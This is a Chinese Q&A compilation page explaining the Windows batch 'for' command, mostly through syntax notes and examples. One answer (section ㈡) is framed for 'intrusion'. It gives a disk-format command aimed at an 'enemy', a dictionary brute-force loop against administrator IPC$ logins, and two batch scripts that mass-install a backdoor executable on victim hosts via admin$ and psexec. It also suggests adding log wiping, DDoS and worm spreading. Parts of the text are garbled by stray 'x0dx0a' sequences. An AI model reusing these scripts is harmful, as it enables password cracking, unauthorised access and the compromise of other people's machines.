导航:首页 > 程序命令 > 批处理for命令

批处理for命令

发布时间:2023-04-03 03:04:55

㈠ 批处理格式for命令编程

1.
echo off>你的目录\1.db
这样就输出空信息在文件里面把文件清空

2.
for %%i in (cdefghij) do 应该改成
for %%i in (c d e f g h i j) do (

md %%i:\autorun.inf\asd\
)
pause

3.
con是比较特殊的名字,windows不允许把名字改成con,不行你新建个文件夹重命名就不行的.

4.下面给你几个for的用法.相信你应该能看得懂哦.....
@echo off
for /r %%i in (c:\*.jpg) do (
echo %%i
)
pause

@echo off

for /D %%i in (c:\windows\*) do (
echo %%i
)
pause

@echo off
for /f "tokens=*" %%i in ('help') do (
echo %%i
)
pause

@echo off
for /f "tokens=1" %%i in ('help') do (
echo %%i
)
pause

@echo off
for /f "tokens=1,2" %%i in ('help') do (
echo %%i %%j
)
pause

㈡ 批处理文件命令怎么写

很长啊,还有些资料,想要的话留个邮箱吧。。。x0dx0a一般批处理都是先建立一个文本文件然后输入 批处理命令然后另存为.bat文件就好了的。。x0dx0ax0dx0a1.Echo 命令打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。语法echo [{on|off}] [message]Sample:echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。x0dx0a2.@ 命令表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)x0dx0a3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。x0dx0a4.Rem 命令注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。Rem MessageSample:@Rem Here is the description.x0dx0a5.Pause 命令运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample:@echo off :begin a:*.* d:\backecho Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。x0dx0a6.Call 命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。语法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]参数[Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。x0dx0a7.start 命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。入侵常用参数:MIN 开始时窗口最小化SEPARATE 在分开的空间内开始 16 位 Windows 程序HIGH 在 HIGH 优先级类别开始应用程序REALTIME 在 REALTIME 优先级类别开始应用程序WAIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。8.choice 命令choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234??x0dx0a如: choice /c:dme defrag,mem,end将显示defrag,mem,end[D,M,E]?Sample:Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码)if errorlevel 2 goto mem if errotlevel 1 goto end x0dx0a:defrag c:\dos\defrag goto end :mem mem goto end :end echo good byex0dx0a此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。x0dx0a9.If 命令x0dx0aif 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如if "%1"=="a" format a: if {%1}=={} goto noparmsif {%2}=={} goto noparmsx0dx0a2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys x0dx0a3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。x0dx0a10.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。在批处理文件中使用 FOR 命令时,指定变量请使用 %%variablex0dx0afor {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数。(set) 指定一个或一组文件。可以使用通配符。command 指定对每个文件执行的命令。command-parameters 为特定命令指定参数或命令行开关。在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %Ix0dx0a如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:x0dx0aFOR /D %variable IN (set) DO command [command-parameters]x0dx0a如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。x0dx0aFOR /R [[drive:]path] %variable IN (set) DO command [command-x0dx0a检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。x0dx0aFOR /L %variable IN (start,step,end) DO command [command-parax0dx0a该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。x0dx0aFOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command x0dx0a或者,如果有 usebackq 选项:x0dx0aFOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command x0dx0afilenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:x0dx0aeol=c - 指一个行注释字符的结尾(就一个)skip=n - 指在文件开始时忽略的行数。delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。x0dx0asample1:FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do commandx0dx0a会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。x0dx0a%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。x0dx0a您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。x0dx0a最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:x0dx0aFOR /F "usebackq delims==" %i IN (`set`) DO @echo %ix0dx0a会枚举当前环境中的环境变量名称。x0dx0a另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:x0dx0a~I - 删除任何引号("),扩充 %I%~fI - 将 %I 扩充到一个完全合格的路径名%~dI - 仅将 %I 扩充到一个驱动器号%~pI - 仅将 %I 扩充到一个路径%~nI - 仅将 %I 扩充到一个文件名%~xI - 仅将 %I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将 %I 扩充到文件的文件属性%~tI - 将 %I 扩充到文件的日期/时间%~zI - 将 %I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串x0dx0a可以组合修饰符来得到多重结果:x0dx0a%~dpI - 仅将 %I 扩充到一个驱动器号和路径%~nxI - 仅将 %I 扩充到一个文件名和扩展名%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。%~ftzaI - 将 %I 扩充到类似输出线路的 DIRx0dx0a在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。x0dx0a以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。x0dx0asample2:x0dx0a利用For命令来实现对一台目标Win2k主机的暴力密码破解。我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。x0dx0asample3:x0dx0a你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。x0dx0a主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。而cultivate.bat无非就是用net use命令来建立IPC$连接,并木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。代码雏形:x0dx0a--------------- cut here then save as a batchfile(I call it main.bat ) --------------------@echo off@if "%1"=="" goto usage@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it.:end--------------- cut here then save as a batchfile(I call it main.bat ) --------------------x0dx0a------------------- cut here then save as a batchfile(I call it door.bat) -----------------@net use \\%1\ipc$ %3 /u:"%2"@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection ????OK@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt@p***ec \\%1 c:\winnt\system32\windrv32.exe@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a batchfile(I call it door.bat) -------------------这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

㈢ BAT批处理文件for循环的基本格式方法

你还在为不知道BAT批处理文件for循环的基本格式方法而烦恼么?接下来是我为大家收集的BAT批处理文件for循环的基本格式方法教程,希望能帮到大家。
BAT批处理文件for循环的基本格式方法
一,基本格式

对一组文件中的每一个文件执行某个特定命令。

FOR %variable IN (set) DO command [command-parameters]

%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters

为特定命令指定参数或命令行开关。

在批处理程序中使用 FOR 命令时,指定变量请使用 %%variable

而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I.

参数:for有4个参数 /d /l /r /f 他们的作用在下面的例子中讲解

二,参数/d

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

例如:

@echo off

for /d %%i in (c:*) do echo %%i

pause

运行后, 会把c盘根目录下的全部目录打印出来, 不会打印文件

例子:

@echo off

for /d %%i in (???) do echo %%i

pause

会把当前目录下有目录名字只有1-3个字母的,就会显示出来,没有就不显示了

* 号表示任意N个字符,而?只表示任意一个字符

三,参数/r

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。

如果在 /R 后没有指定目录规范,则使用当前目录。如果集仅为一个单点(.)字符,

则枚举该目录树。

/r 可以把当前或者你指定路径下的文件名全部读取,注意是文件名字,

注意2点:

1.set中的文件名如果含有通配符(?或*),则列举/r参数指定的目录及其下面的所有子目录中和set相符合的所有文件,无相符文件的目录则不列举

2.相反,如果set中为具体文件名,不含通配符,则列举该目录树,而不管set中的指定文件是否存在

例子:

@echo off

for /r d: %%i in (*.exe) do echo %%i

pause

将把d盘里以exe结尾的文件全部列出来

@echo off

for /r d: %%i in (boot.ini) do echo %%i

pause

列举d盘中存在boot.ini文件的目录

四。

FOR /L %variable IN (start,step,end) DO command [command-parameters]

该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5)将产生序列

1 2 3 4 5,(5,-1,1)将产生序列(5 4 3 2 1)

start 为起始值,stup为增量,end结束值,

例子:

@echo off

for /l %%i in (1,1,5) do echo %%i

pause

将会列出12345 这几个值

@echo off

for /l %%i in (1,1,5) do start cmd

pause

会打开5个cmd的窗口

五,参数/F

迭代及文件解析

使用文件解析来处理命令输出,字符串及文件内容,使用迭代变量定义要检查的内容或字符串,并使用各种option选项来进一步

修改解析方式,使用options令牌选项指定那些令牌应该作为迭代变量传递

注意:在没有使用令牌选项时,/f将只检查第一个令牌

文件解析过程包括读取输出,字符串或文件内容,将其分成独立的文本行以及在将每行解析成零个或更多个令牌

让后通过设置为令牌的迭代变量值,调用for循环,默认情况下,/f传递每个文件每一行的第一个空白分隔符,跳过空行

命令格式:

FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]

FOR /F ["options"] %variable IN ("string") DO command [command-parameters]

FOR /F ["options"] %variable IN ('command') DO command [command-parameters]

带引号的字符串“options”包括一个或多个

指定不同解析选项的关键字,这些关键字为:

eol=c 指定一个注释字符的结尾(就一个)

skip=n 指在文件开始时忽略的行数

delims=xxx 指定分隔符集,这个替换了空格和跳格键的默认分隔符集

tokens=x,y,m-n 指每行的哪一个符合被传递到每个迭代的for本身,这回倒是额外名称的分配,m-n格式为一个范围

通过nth符号指定mth,如果符号字符串中的最好一个字符星号,那么额外的变量将在最好一个符号解析之后分配并接受行的保留文本,

经过测试,该参数最多只能区分31个字段

usebackq 指定新语法已在下类情况中使用:

在作为命令执行一个后引号的字符串并且一个单

引号字符为文字字符串命令并允许在 file-set

中使用双引号扩起文件名称。

例子:

@echo off

rem 首先建立临时文件,用完删除>test.txt

echo ;注释行,这个是临时文件,用完删除>text.txt

echo 11 12 13 14 15 16 >> test.txt

echo 21,22,23,24,25,26 >> test.txt

echo 31-32-33-34-35-36 >> test.txt

for /F "eol=; tokens=1,3* delims=,- " %%i in (test.txt) do echo %%i %%j %%k

pause

del text.txt

运行......

解释:

eol=; 分号开头的行尾注释行

tokens=1,3- 将每行第1段,第3段和剩余地段分别赋予变量%%i,%%j,%%k

delims=,- (减号后有一空格)以逗号减号和空格为分隔符,空格必须放在最后

例子:

@echo off

for /f "skip=4 delims=" %%i in ('net user') do echo %%i

pause

这样你本机全部账号名字就出来了把括号内的内容用两个单引号起来就表示那个当命令执行,for会返回命令的没行结果,加那个"delims=" 是为了让空格的行能正行显示出来,不加就默认只显示空格左边一列,应为默认的分隔符为空格或叫跳格键。

看了“BAT批处理文件for循环的基本格式方法”还想看:

1. 批处理文件

2. bat命令怎么批处理

3. bat批处理命令

4. 常用的文件格式集锦

5. bat批处理文件显示乱码怎么办

㈣ Windows批处理-for命令详解

摘自Windows XP的帮助文档。

For对一组文件中的每个文件运行指定的命令。

语法

for {%variable|%%variable} in (set) do command [ CommandLineOptions]

参数

{%variable|%%variable}

必需。代表可替换的参数。使用 %variable 通过命令提示符执行 for 命令。使用 %%variable 在批处理文件中执行 for 命令。变量要区分大小写,并且必须用 Alpha 值表示,例如,%A、%B 或 %C。

(set)

必需。指定要用指定命令处理的一个或多个文件、目录、数值范围以及文本字符串。需要括号。

command

必需。指定要对包括在指定 (set) 中的每个文件、目录、数值范围以及文本字符串所执行的命令。

CommandLineOptions

指定要通过指定命令使用的任何命令行选项。

/?

在命令提示符显示帮助。

注释

使用 for

可以在批处理文件中或直接从命令提示符使用 for 命令。

使用批处理参数

下列属性适用于 for 命令:

for 命令使用指定 set 中的每个文本字符串替换 %variable 或 %%variable,直到 command 处理所有文件为止。

记住,for variable名是区分大小写、全局的,并且每次总共不超过 52 个是活动的。

要避免批处理参数从 %0 到 %9 混淆,对 variable 可以使用除数字 0 到 9 之外的任何字符。对于简单的批处理文件,单个字符即可奏效,例如 %%f。

在复杂的批处理文件中可以使用 variable 的多个值来区分不同的可替换变量。

显示一组文件

set 参数可以代表单个或多个文件组。可以使用通配符(即,* 和 ?)指定文件组。以下为有效文件组:

(*.doc)

(*.doc *.txt *.me)

(jan*.doc jan*.rpt feb*.doc feb*.rpt)

(ar??1991.* ap??1991.*)

在使用 for 命令时,set 中的第一个值代替 %variable 或 %%variable,然后由指定的命令处理该值。这一直会继续下去,直到处理完与 set 值相对应的所有文件(或文件组)为止。

使用 in 和 do 关键字

In 和 do 不是参数,但必须将它们与 for 一起使用。如果省略其中任何一个关键字,就会出现错误消息。

使用 for 的其它形式

如果命令扩展名处于启用状态(即,默认设置),则支持 for 的下列其它形式:

仅为目录

如果 set 包含通配符(* 和 ?),则为匹配 set 的每个目录(而不是指定目录中的文件组)而执行指定的 command。语法是:

for /D {%% | %}variable in (set) do command [CommandLineOptions]

递归

进入根目录树 [Drive:]Path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.),则只列举目录树。语法是:

for /R [[Drive :]Path] {%% | %}variable in (set) do command [CommandLineOptions]

重复数值范围

使用迭代变量设置起始值 (start#) ,然后一步步执行一系列设置范围的值,直到该值超过设置的终止值 (end#)。/L 将通过对 start# 与 end# 进行比较,执行迭代变量。如果 start# 小于 end#,就会执行该命令。如果迭代变量超过 end#,则命令解释程序退出此循环。也可以使用负 step# 以递减数值的方式一步步执行此范围内的值。例如,(1,1,5) 生成顺序 1 2 3 4 5,而 (5,-1,1) 则生成顺序 (5 4 3 2 1)。语法是:

for /L {%% | %}variable in (start#,step#,end#) do command [CommandLineOptions]

重复和文件解析

使用文件解析过程处理命令输出、字符串和文件内容。使用迭代变量定义要检查的内容或字符串,以及使用各种 ParsingKeywords 选项进一步修改解析方式。使用 ParsingKeywords 令牌选项指定哪些令牌应该传递为迭代程序变量。注意:在没有使用令牌选项时,/F 将仅检查第一个令牌。

文件解析过程包括读取输出、字符串或文件内容、分成独立的文本行及然后将每行解析成零个或更多个令牌。然后通过设置为令牌的迭代程序变量值,调用 for 循环。默认情况下,/F 传递每个文件每一行的第一个空白分隔符号。跳过空行。语法的不同点为:

for /F ["ParsingKeywords"] {%% | %}variable in (filenameset) do command [CommandLineOptions]

for /F ["ParsingKeywords"] {%% | %}variable in ("LiteralString") do command [CommandLineOptions]

for /F ["ParsingKeywords"] {%% | %}variable in ('command') do command [CommandLineOptions]

filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前,每个文件都会被打开、读取和处理。要覆盖默认解析行为,指定 "ParsingKeywords"。这是一个引用字符串,它包含一个或多个关键字以指定不同的解析选项。

如果使用 usebackq 选项,请使用如下语法之一:

for /F ["usebackqParsingKeywords"] {%% | %}variable in ("filenameset") do command [CommandLineOptions]

for /F ["usebackqParsingKeywords"] {%% | %}variable in ('LiteralString') do command [CommandLineOptions]

for /F ["usebackqParsingKeywords"] {%% | %}variable in (`command`) do command [CommandLineOptions]

下表列出可以用于 ParsingKeywords 的解析关键字。

关键字 说明

eol=c 指定行尾字符(只一个字符)。

skip=n 指定在文件的开头跳过的行数。

delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集。

tokens=x,y,m-n 指定将哪些令牌从每行传递到每个迭代的 for 正文。结果就分配了附加变量名称。m-n 格式是一个范围,指定从 mth 到 nth 的令牌。如果 tokens=字符串中最后一个字符是星号 (*),则将分配附加的变量,并在解析的最后一个令牌后在行上接收剩余的文本。

usebackq 指定可以使用引号引用 filenameset 中的文件名称,将后面带有引号的字符串作为一个命令执行,而带有单引号的字符串是文字字符串命令。

变量替换

已经增强了 for 变量引用的替换修改程序。下表列出可选语法(对于任意变量 I)。

带有修改程序的变量 说明

%~I 展开删除任何前后引号 ("") 的 %I。

%~fI 将 %I 展开到完全合格的路径名。

%~dI 只将 %I 展开到驱动器号。

%~pI 只将 %I 展开到路径。

%~nI 只将 %I 展开到文件名

%~xI 只将 %I 展开到文件扩展名。

%~sI 展开路径以只包含短名称。

%~aI 将 %I 展开到文件的文件属性。

%~tI 将 %I 展开到文件的日期和时间。

%~zI 将 %I 展开到文件大小。

%~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开到第一个找到的完全合格的名称。如果没有定义环境变量名称,或搜索没有找到文件,则此修改程序扩展成空字符串。

下表列出可用来获得综合结果的修改程序组合。

变量(使用组合的修改程序) 说明

%~dpI 只将 %I 展开到驱动器号和路径。

%~nxI 只将 %I 展开到文件名和扩展名。

%~fsI 将 %I 展开到只包含短名称的完整路径名。

%~dp$PATH:I 在 PATH 环境变量中所列出的目录中搜索 %I,并展开到第一个找到结果的驱动器号和路径。

%~ftzaI 将 %I 展开到输出行(如 dir一样)。

在上述范例中,可以用其它有效值替换 %I 和 PATH。有效的 for 变量名终止 %~ syntax。

使用大写变量名(例如 %I),可以使代码更具可读性,并且避免与不区分大小写的修改程序混淆。

解析字符串

通过将 Filenameset 包括在圆括号内,并且外面再带上单引号(即,'filenameset'),可以使用 for /F 对直接字符串解析逻辑。将 Filenameset 视为从某个文件输入的单行,然后接受解析。

解析输出

通过将圆括号之间的 filenameset 变为后面带有引号的字符串,可以利用 for /F 命令解析命令输出。将它作为命令行,此命令被传递给子 Cmd.exe,并将输出捕获到内存并进行解析,就象它是一个文件一样。

范例

要在批处理文件中使用 for,请使用以下语法:

for %%variable in (set) do command [CommandLineOptions]

要通过使用可替换变量 %f 显示当前目录中扩展名为 .doc 或 .txt 的所有文件的内容,请键入:

for %f in (*.doc *.txt) do type %f

在前述范例中,当前目录中扩展名为 .doc 或 .txt 的每个文件都被替代为变量 %f ,直到每个文件的内容都显示为止。要在批处理文件中使用该命令,只需使用 %%f 替换 %f 的每个事件。否则忽略此变量,并显示一条错误消息。

要解析文件,同时忽略注释行,请键入:

for /F "eol=; tokens=2,3* delims=," %i in (myfile.txt) do @echo %i %j %k

这个命令解析 myfile.txt 文件的每一行,忽略以分号开头的行,将第二和第三个令牌从各行传递到 FOR 正文(令牌通过逗号或空格分隔)中。FOR 语句的正文引用 %i 以获得第二个令牌,引用 %j 以获得第三个令牌,引用 %k 以获得其余全部令牌。如果您提供的文件名包含空格,请使用引号将文本引起来(例如,"File Name")。要使用引号,必须使用 usebackq。否则,就将引号解释为定义要解析的文字字符串。

要通过将 filenameset 放在括号之间来解析命令输出,请键入:

for /F "usebackq delims==" %i IN (`set`) DO @echo %i

这个范例列举当前环境中的环境变量名。

㈤ 批处理 for的详细用法 for /l /f /d /r 不要ctrl V 的

/l /d /r 简单 随便找个教程就应该看明白
for /f 参数详解
for命令 在dos命令中,不算最复杂的也应该算是相当复杂的了,
而for的参数中又以 /f 参数最为复杂,难懂和常用.
在刚学时确实费了我不少脑筋,下面就我个人的理解,给新手们通俗的讲讲,也好让新手少走些弯路.
::例一:
:
for /f "skip=1 tokens=1,2* delims= " %%a in (a.txt) do echo %%a %%b %%c
pause先从引号内的东西讲起,很多新手对这些难以理解,因为 for /? 翻译的简直是一塌糊涂.
skip=
tokens=
delims=
这三项是用的最多的,根据需要.可以不用,可以一起使用,也可以只使用一个或两个.
但是不管使用几个都要用引号将它们扩起来.当然不使用时,自然就不需要引号了.
skip=
for循环文本内容是以行为单位,从上至下进行的,skip=1意识就是跳过文本的第一行,即不循环第一行
那么skip=2 自然就是跳过前两行了,依次类推.........
delims=
先讲这句
delims=后面的字符的意识是,将文本每一行的内容以delims=后面的字符分割成若干列.
假设a.txt某一行的内容是 111,222.333 444/555
我们用下面的语句
::例二:
:
for /f "tokens=1-5 delims=,./ " %%a in (a.txt) do echo %%a %%b %%c %%d %%e
pause显示结果是 111 222 333 444 555
解释:
意识就是把111,222.333 444/555以,./和空格(不分先后)分成了5列.注意代码中/和"后面有个空格,
使用中要注意空格要放到最后,如"delims=,. /" 这样就不行了.
那如果我们不使用逗号来分割会如何呢?如: "delims=./ "那么就会分割成111,222 333 444 555
看出区别了吗?delims=后面可以是多个字符,可以是空格,也可以什么都没有.
什么都没有代表什么呢?就是不以任何东西为分割符,也是整行的内容了.
因为for默认是以,;和空格作分割符的,
所以一般要取得整行内容通常会用"delims="这样的形式来取消for的默认分割符.
tokens=
tokens=1-5
1-5很好理解就1至5,前面我们用delims=后面的字符为分割符,将文本内容分成了多列,那么你需要的是哪些列呢?
用tokens=可以很好帮你提取到.
还是以例二为例:
通过dilims=,./ 将文本分成了111 222 333 444 555 五列.
注意代码中前面有个%%a 这里的%%a就是代表第一列,第二列就是%%b,第三列就是%%c 依此类推.....
那么我们如果把echo %%a %%b %%c %%d %%e 改为 echo %%e %%d %%c %%b %%a 会如何呢?
当然.会显示 555 444 333 222 111
如果是:echo %%b %%d 又会显示什么呢? 不用我说了吧!
若是第一个%%a把它改为%%i也是一样,那么第二列就是%%j...%%k...依此类推....
明白了?就是按英文字母的顺序依此类推的.
这里我们用的是tokens=1-5但是在例一中,我们用的是tokens=1,2* 有什么区别呢?
其实差不多-号代表从几至几而逗号代表单一的,如 tokens=1,5就是代表第一列和第五列,而不是1至5列.
*号代表剩下的所有的列.如:tokens=1,2*代表%%a为第一列,%%b为第二列,%%c代表后面所有的列.
for /f 不但可以循环文本内容还可以循环字符窜,如:
::例三:
:
for /f "tokens=1-3 delims=,./ " %%a in ("111,222.333 444/555") do echo %%a %%b %%c
pause只要将()里的字符串用引号扩起来,for就会把它当字符串来循环,而不是文本.
"delims=" 的含义是取消默认的分隔符,所以会把行上的内容照搬下来,而 "tokens=*" 表示获取行上的所有内容

㈥ 批处理中怎么for命令 跳过指定文件或目录

以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI
@echo off
rem 全盘查找并删除指定扩展名/后缀名的文件,但排除/跳过/忽略指定名称的文件
mode con lines=3000
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
for %%a in (Z Y X W V U T S R Q P O N M L K J I H G F E D C) do (
if exist %%a: (
echo;%%a: Searching……
if /i "%%a:" equ "%SystemDrive%" (
if exist "%HOMEPATH%" (pushd "%HOMEPATH%") else (pushd %%a:)
) else (pushd %%a:)
for /f "delims=" %%a in ('dir /a-d/b/s *.mp3 *.wav') do (
set "f="
for %%b in ("test.mp3") do (
if /i "%%~b" equ "%%~nxa" set f=1
)
if not defined f (
echo;"%%a"
del /a /f /q "%%a"
)
)
popd
)
)
echo;%#% +%$%%$%/%@% %z%
pause
exit

㈦ 批处理中for的用法和参数作用

语法看多了其实也起不了作用,一遇见实际问题就会出现问题,基本上还是不知道怎么用,估计看了过几天就忘了,最好是遇见什么问题要用到for语句的时候再去深入的思考for语句的用法,只有遇见实际问题,才能理解for语句的妙用,简单看下语法就行了,
for
命令
对一组文件中的每一个文件执行某个特定命令。
FOR
%variable
IN
(set)
DO
command
[command-parameters]
%variable
指定一个单一字母可替换的参数。
(set)
指定一个或一组文件。可以使用通配符。
command
指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。
在批处理文件中使用
FOR
命令时,指定变量请使用
%%variable
而不要用
%variable。变量名称是区分大小写的,所以
%i
不同于
%I.
如果命令扩展名被启用,下列额外的
FOR
命令格式会受到
支持:
FOR
/D
%variable
IN
(set)
DO
